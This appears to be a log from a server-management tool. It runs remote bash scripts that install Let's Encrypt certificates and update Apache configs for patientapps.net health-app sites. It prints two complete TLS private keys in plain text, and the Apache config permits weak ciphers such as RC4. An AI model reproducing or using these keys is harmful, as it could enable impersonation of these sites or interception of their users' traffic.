with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-03 06:02:50: 

chmod 755 /tmp/pkp574517; /tmp/pkp574517; rm /tmp/pkp574517

2025-11-03 06:02:50: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/01745ae0ff7ef97623b09d98f99c6ad6.crt	5389
73:3e:01:9a:9f:07:df:9f:f6:3f:a4:ed:b6:64:ca:cb

-----BEGIN CERTIFICATE-----
MIIFFDCCA/ygAwIBAgISBs+wqtgmKVX0k81flKUudxFFMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTAzMDUwNDE2WhcNMjYwMjAxMDUwNDE1WjAnMSUwIwYDVQQD
ExxhdGhlbmFoZWFsdGgucGF0aWVudGFwcHMubmV0MIIBIjANBgkqhkiG9w0BAQEF
AAOCAQ8AMIIBCgKCAQEAyieJd3MlWlj2QxHZDZ1/xz95gvJ9uosu5reyrHl+CmJ+
olPbLtAoTyQ4AANcpszuiewJzFzK4TAj/M8L+5AcfVlifaRvAZduY4P5McFaUr/W
rj3xgpQk1giwJ9qWJetHwL73S5zFo9TCguLZLd6MCmBrN5UInEaqdpJVTKvtq2zN
a4uqgvyf1ei3omrH39+NbSwojEFEiLlTOPT4er/ae7ndavNKy+VeDRurZns6idB2
5pDyB8CBMVnpovaR7EHkSbf77qQG0U+g5XUtnmqMrPfxmHTu9AZUzoiIt0Se4GQJ
87KrD1qET2s+sBBf/v5AppK5dU3eyogeEFy9+gqIAwIDAQABo4ICLDCCAigwDgYD
VR0PAQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNV
HRMBAf8EAjAAMB0GA1UdDgQWBBT3I/QW+MVHmfWksbZVBeS8xfk+CTAfBgNVHSME
GDAWgBTnq58PLDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYB
BQUHMAKGF2h0dHA6Ly9yMTMuaS5sZW5jci5vcmcvMCcGA1UdEQQgMB6CHGF0aGVu
YWhlYWx0aC5wYXRpZW50YXBwcy5uZXQwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYD
VR0fBCcwJTAjoCGgH4YdaHR0cDovL3IxMy5jLmxlbmNyLm9yZy83MC5jcmwwggEE
BgorBgEEAdZ5AgQCBIH1BIHyAPAAdgBkEcRspBLsp4kcogIuALyrTygH1B41J6vq
/tUDyX3N8AAAAZpIT5cuAAAEAwBHMEUCIFzpUhixoGFxM28scR6zQ6LKtkekn1Dk
1jNXtQtuHhSjAiEAlIpJURsDt1Zx0BUEofW964qFpZagu0wL66+2XfTjLE0AdgAO
V5S8866pPjMbLJkHs/eQ35vCPXEyJd0hqSWsYcVOIQAAAZpIT58VAAAEAwBHMEUC
ICOeYEx9x1RdAHdzs550mll4w1OnOCTELendNqf8XoDIAiEA2A8gospobPYKPKWX
/OBOIwIZPqyM2t5RNX1chmKAP0AwDQYJKoZIhvcNAQELBQADggEBAHMcsG7EHuLZ
2aeSeEf+Gu/3OSTgqdjw1tx3G1mcD/zdWN4rQ4RYP4NhJJPiry/Hz/Uu6mGrFkt5
nCMQ5e/NkSJIkM534ECHn6Td7GXpnxWRCSJQuqeDpsS8Bl9MeBLf6Sk5YaZjzFHk
dilBhxHwQHh37cnPhX6tIfm7PYrKVq/goY+mUlkUcJXCXvfeooRZfx9QFDkAc3pg
WnhvhIM5qReaDYXGI5f0eDht//Z6ElPeX03X1A+pZNc2yj1tfBY1QB8SArAlfliP
v76Jytp5K4JHunhNW78qIpnjBUo5c7CWZIaqtabXwvWGJnyg4L4pPRvyKYLeNgFX
ciCKVae5TFg=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDKJ4l3cyVaWPZD
EdkNnX/HP3mC8n26iy7mt7KseX4KYn6iU9su0ChPJDgAA1ymzO6J7AnMXMrhMCP8
zwv7kBx9WWJ9pG8Bl25jg/kxwVpSv9auPfGClCTWCLAn2pYl60fAvvdLnMWj1MKC
4tkt3owKYGs3lQicRqp2klVMq+2rbM1ri6qC/J/V6Leiasff341tLCiMQUSIuVM4
9Ph6v9p7ud1q80rL5V4NG6tmezqJ0HbmkPIHwIExWemi9pHsQeRJt/vupAbRT6Dl
dS2eaoys9/GYdO70BlTOiIi3RJ7gZAnzsqsPWoRPaz6wEF/+/kCmkrl1Td7KiB4Q
XL36CogDAgMBAAECggEBALwLqSkvOEjhxjo/iPvMTYdnuT2hGmmDfR5rNM6RuTgp
xQh1HsdeJJDx7RG+DtqueRpdMgQjMSnmYSOS6d+Zf5bupdqgMg518d6qbgzlgoLF
JwswXc8MxXM/47U+9TrSsQ1P1rREYejzSfj80e+EPBqO9E1g2gCdD4Z6utQ2fkBd
ryYSjZ8Kg8HATcRPpphVjJPQHMDM9dCP1B9xWjknCjjblqleP9N1q07CtM2oydMz
C9sWGClN0rPUWJrx/AS4ANxyT3Vex3iWBKyKxRM7z9Voose7PSzyhoDclTukDGbz
n7RhFmy5P+QzVHaGL+kQ4zQRqjSBGinx71s6oZRYkPkCgYEA6KEGKPhbkoXU+/Ec
b9+CknF5B4TWCiY6bgv2O4F4ter6TAXU+n2qZnaLXVQCgTRdvdbSSLv+MVNNYB3R
DH6IevKODHurzMBHeVZXijtn85oH+LB+GBMGtuhcxcWmQQ4YWavnGl41/HVVPnJt
8r8h3le2AX8a2ZhF6tlBm3dEac8CgYEA3na9LD1By/ERgWEEug3tHdCKe19WAJvo
2jxLktch7nmemfykF9oSghc++sUNJ0mYGbC4QI9wTwMesnuVFVSUNkEmiMp6KUfQ
Po9u3LG0dSpEPPus7a4eAltIssE0Pg3TCnWwmj7/4qE6F0MC0bL3xlOPzKjBTjV0
LbFJt9Us740CgYEAn3J/PmW8nlmM+oLw8t1IKggM5NJvwtUhB3y7cV301vwQQztc
F7U6rrBiJb4HWXgDKLOtvpzcRgLK7i6BswanlV3bb0L1JopEcy5zIhRF0/qnrBWM
2ANyfrwVmpk2szBuEEh7Rt98MWZa30qfgdrv4+5Kmgv841gz1BzFk0HUapECgYAH
ngE0NpS+Ku7ygyPqSvfHgZB8UPNc6fm7Hz1nNb6Pr9Jia2gi+PCRS8J4S677nWV7
27UzYLXzvqOacOjV5iN9CBYNsQEl0LOssLSXEe6f5GaZv/RX3xJf+kgu9raXOVn0
jbsSTP3uAJ9AlKbQD1S0kb/mvhCAYQwtVFi11rLHMQKBgQCCOlKThMW1TDBpsoQn
HheIL8+OFBeg9LrlLeZe0wrizo0//jmjRLj+FMSKyX0a8OdTrhJ/KWeIFDlLRWC1
CpHQw8/PS9m/Kp8+WdIqNCmp2DYo7XyEeBX5ZEZ4C81dsAwZ4P/gQldfhTyujP5M
QnN4IrvAzV9HV1vQDRhN3uzR0A==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-11-03 06:02:50: Establishing a connection
2025-11-03 06:02:50: Establishing a connection
2025-11-03 06:02:50: 

PUT: /tmp/pkp455720

#!/bin/bash
if [ -d "/var/www/patientapps_preview/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-11-03 06:02:51: 

chmod 755 /tmp/pkp455720; /tmp/pkp455720; rm /tmp/pkp455720

2025-11-03 06:02:51: 


0


2025-11-03 06:03:15: Establishing a connection
2025-11-03 06:03:15: 

PUT: /tmp/pkp949460

#!/bin/bash
temp_file=$(mktemp)
TARGET=47e838c5d6fc754b55478008ec934de1.crt

cat > $temp_file <<'endmsg'
64:5e:d9:bb:50:03:d7:3e:c2:27:9b:0d:de:82:e3:19

-----BEGIN CERTIFICATE-----
MIIFCTCCA/GgAwIBAgISBoR5yQzAUvBd0RrpjlswcynQMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTAzMDUwNDQ0WhcNMjYwMjAxMDUwNDQzWjAiMSAwHgYDVQQD
ExdwcmV2aWV3LnBhdGllbnRhcHBzLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEP
ADCCAQoCggEBALo874QPa7C0Wy4ehcI8NvkpvM5VnWo+ZiPRPqvSJ1i8eNI/faNp
qhxVJxHZgc968WB87GIRfNjPa3snzteXOZGLzhq+6en9wv1hdtmgWKaqjDKulH//
3TSwjxZEkLzuKh5n4z4YK/dqYJsMrqy4zoo7bCzUC3phGIjPiJSXXmNz06eXyNe5
ha1qP8r/IZEvbhUiyd8VyzwQZ+1R/fVmG37HCqiISa3QHzXCPTtM3+XNb6c6fTJr
QS+5zFcv/SB0yKf7y8nxrXk0SUMGAxl5UlwsaElh6WFi+mzeOtoRt4E7a3mjvGWZ
9vFUAuN8z8+104ftuXbPGmNbSlfYF0xtWW8CAwEAAaOCAiYwggIiMA4GA1UdDwEB
/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/
BAIwADAdBgNVHQ4EFgQUO9HJ2StIOPPGLJYlWDuK74qkbGwwHwYDVR0jBBgwFoAU
56ufDywzoFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAC
hhdodHRwOi8vcjEzLmkubGVuY3Iub3JnLzAiBgNVHREEGzAZghdwcmV2aWV3LnBh
dGllbnRhcHBzLm5ldDATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOg
IaAfhh1odHRwOi8vcjEzLmMubGVuY3Iub3JnLzgxLmNybDCCAQMGCisGAQQB1nkC
BAIEgfQEgfEA7wB1AEmcm2neHXzs/DbezYdkprhbrwqHgBnRVVL76esp3fjDAAAB
mkhQBDwAAAQDAEYwRAIgbV09mp6DSr8CXqo/p66+NFW1aFiZtw0SNXEHfcuFyDkC
IAaq1HOOwu5SaNywGRgBMv2g8BOeE1LYXEyJ0ZPVqcWfAHYAlpdkv1VYl633Q4do
NwhCd+nwOtX2pPM2bkakPw/KqcYAAAGaSFAEiQAABAMARzBFAiEAxn1KDcUa0Out
xsn9pcUZwki3zPMDtRgmEJQx+/65vI0CIFUoTmiysxm6D4Xf0FYTYSr+hx6OhdC3
vCMQLZ+4qtaHMA0GCSqGSIb3DQEBCwUAA4IBAQCPpimbyPzpYwhd/EbAQ75cVsqX
2s2HE2TPZbbFJshPDNMb9aYlNalke1FVWbj69z+Zplx7cOkDgGIOjfZJ2FZbbg/D
tbe1pE4WVnLNL7ruvUzaWTaZ3u/qoDxrJHfb+Xu6k+95JRvkqhnaRsPBxIektOVV
ULgqIzMDTSJoo6tyoGNpJiQbPoux5iWmwrTiYadP4Rssvqd+69yRqjl1VJLIFv0y
J1reu++H3vQ8SlM8pIV9zNBk4bVT82sH019cfvinc2UymmTAapmELQ5F7ncGSdo/
cOTE8g38mvFrDg9pck/10rJ1/eWNTgO72vaXnMzxBvrSnbJLKEsnzu/x0iSG
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQC6PO+ED2uwtFsu
HoXCPDb5KbzOVZ1qPmYj0T6r0idYvHjSP32jaaocVScR2YHPevFgfOxiEXzYz2t7
J87XlzmRi84avunp/cL9YXbZoFimqowyrpR//900sI8WRJC87ioeZ+M+GCv3amCb
DK6suM6KO2ws1At6YRiIz4iUl15jc9Onl8jXuYWtaj/K/yGRL24VIsnfFcs8EGft
Uf31Zht+xwqoiEmt0B81wj07TN/lzW+nOn0ya0EvucxXL/0gdMin+8vJ8a15NElD
BgMZeVJcLGhJYelhYvps3jraEbeBO2t5o7xlmfbxVALjfM/PtdOH7bl2zxpjW0pX
2BdMbVlvAgMBAAECggEAJ8LqwB8qtsdK0EXj+NwyQHAQx1ywBwbbd7oszzJHBEL4
6Kp1gHYGw5XKiZ0OgeWVsyv4q9df+EoQgHK3ToAS4mge0McB2ds7zi0I2t3JD4xJ
8mgjfFB8QcuQQQjSfgO7KlKzyYYPnPsxNOk4QdgTAKA/MDL1YGNqgYsNdev7UvAC
XpvsYERqhD6FHtj1dnNesZRW72EPJaq/HhenPMwaOihtQ9r7mqvAuXV10UaLEwXL
xkSoYOa+aohgj00qJu8XfRuiq1Lxqd7ZDBOQ18BUrbsA2M7ZNbfS/qZIvbH5owDi
MoIwVnH9H11qw7L5aeCx+5yAc6nnnK1IDddsH7yuwQKBgQDla5yDh6DKll481Mty
eMOVeKXbwaDVDn2ypCFPdWp6D4trcchf66JgwwNqjJ2I9wP3TqBpC/QJfpziC9+V
wcsiAT6KtiNcrnsbzHEdLgukGWyPTC4LLm+rLbp6PKb8uGf9m2Zd0Z15vxMVtg1T
eDseELlHqNlCMkMV+7dF0P5QTQKBgQDP0JPhHpv5I3gnTzrG9uMwfRwGMq44EUoF
ex/l5HpCCJRVEpeGaqldKeL9TImkoFEtLyvjKUNE13vaMw7zOVDVaaVma6vT2co/
2iy9UIxWVAbc3w5cSS39mbgJJCxjdQ53nOD1U7AE2x4NNkJPdsOHuDh38vLbcBcX
6DaXY4+OqwKBgCanZO18UokPoL0bFVQqKLnsY/WMwC5ljKQmpz4eCFycdd8agqo2
p1sqQE8Zdgl3pQFsC/bm/q0C2ifz3C39Qt5t2z2/xmF9PFzIq15BPdDeP749FZzo
rAPpZnvl8DSwVUUTg8HW6XNz0CFeVQx1O3CrXKxINKLEmS0BBjYLKm4ZAoGAcrmf
KeSQDtY5+tmOhVC+04H9+p33+BPzXVs/nNapd9LssJp29Enl/fylx1h9lFi898jW
3a1l6ZdcVHVjh3rY2Thdi1FdprLRKLb1g/33u6DfuQebEe+EaEB4jPNfXfi9Z+M/
fbAZuFSPHpQZv2y9PSvCYNXKpMIYvaYAnUrlcckCgYBW9lq+lsJRgJ8x1WVVrPGO
zAAW3J65APkuhZUOt131Uhjt6xI7Ol7qpj10wrIpMOIm7/De857pF3PDYQc+s6UA
RNqD6HISu7WoRAn+4DztxkgGQLB7s9r9Dh8wyXWF/N7+Kg3W1CYrm49ak4RB/QQa
6amp9iqENOFSBlaO01qqNQ==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-11-03 06:03:15: 

chmod 755 /tmp/pkp949460; /tmp/pkp949460; rm /tmp/pkp949460

2025-11-03 06:03:15: 


dir=/etc/ssl/certs


2025-11-03 06:03:15: 

PUT: /tmp/pkp124250

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/patientapps_preview_net.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-11-03 06:03:15: 

chmod 755 /tmp/pkp124250; /tmp/pkp124250; rm /tmp/pkp124250

2025-11-03 06:03:15: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_preview_net.conf 47

<VirtualHost *:80>
    ServerName	preview.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_preview/public
    #    DocumentRoot	/var/www/patientapps_preview
    <Directory /var/www/patientapps_preview>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/preview_access.log combined
    ErrorLog	/var/log/apache2/patientapps/preview_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	preview.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/47e838c5d6fc754b55478008ec934de1.crt
    DocumentRoot	/var/www/patientapps_preview/public
    <Directory /var/www/patientapps_preview>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/preview_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/preview_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-11-03 06:03:15: 

PUT: /tmp/pkp431243

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_preview_net.conf
TARGET=/etc/apache2/sites-enabled/patientapps_preview_net.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	preview.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_preview/public
    #    DocumentRoot	/var/www/patientapps_preview
    <Directory /var/www/patientapps_preview>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/preview_access.log combined
    ErrorLog	/var/log/apache2/patientapps/preview_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	preview.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/47e838c5d6fc754b55478008ec934de1.crt
    DocumentRoot	/var/www/patientapps_preview/public
    <Directory /var/www/patientapps_preview>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/preview_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/preview_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/patientapps_preview_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/patientapps_preview_net.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_preview_net.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_preview_net.conf= 1'
fi


2025-11-03 06:03:15: 

chmod 755 /tmp/pkp431243; /tmp/pkp431243; rm /tmp/pkp431243

2025-11-03 06:03:15: 




2025-11-03 06:03:15: 

PUT: /tmp/pkp706812

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-11-03 06:03:15: 

chmod 755 /tmp/pkp706812; /tmp/pkp706812; rm /tmp/pkp706812

2025-11-03 06:03:15: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-11-03 06:03:15: Establishing a connection
2025-11-03 06:03:15: 

PUT: /tmp/pkp233606

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-11-03 06:03:16: 

chmod 755 /tmp/pkp233606; /tmp/pkp233606; rm /tmp/pkp233606

2025-11-03 06:03:16: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
                 alias myapp.care
         port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
         port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
                 alias www.cn-dego.myapp.care
         port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
                 alias www.d-oak.myapp.care
         port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
                 alias www.ma1-acrp.myapp.care
         port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
                 alias www.ma1-anfr.myapp.care
         port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
         port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
                 alias www.ma1-anin.myapp.care
         port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
                 alias www.ma1-ankp.myapp.care
         port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
                 alias www.ma1-anrp.myapp.care
         port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
                 alias www.ma1-arcr.myapp.care
         port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
                 alias www.ma1-asst.myapp.care
         port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
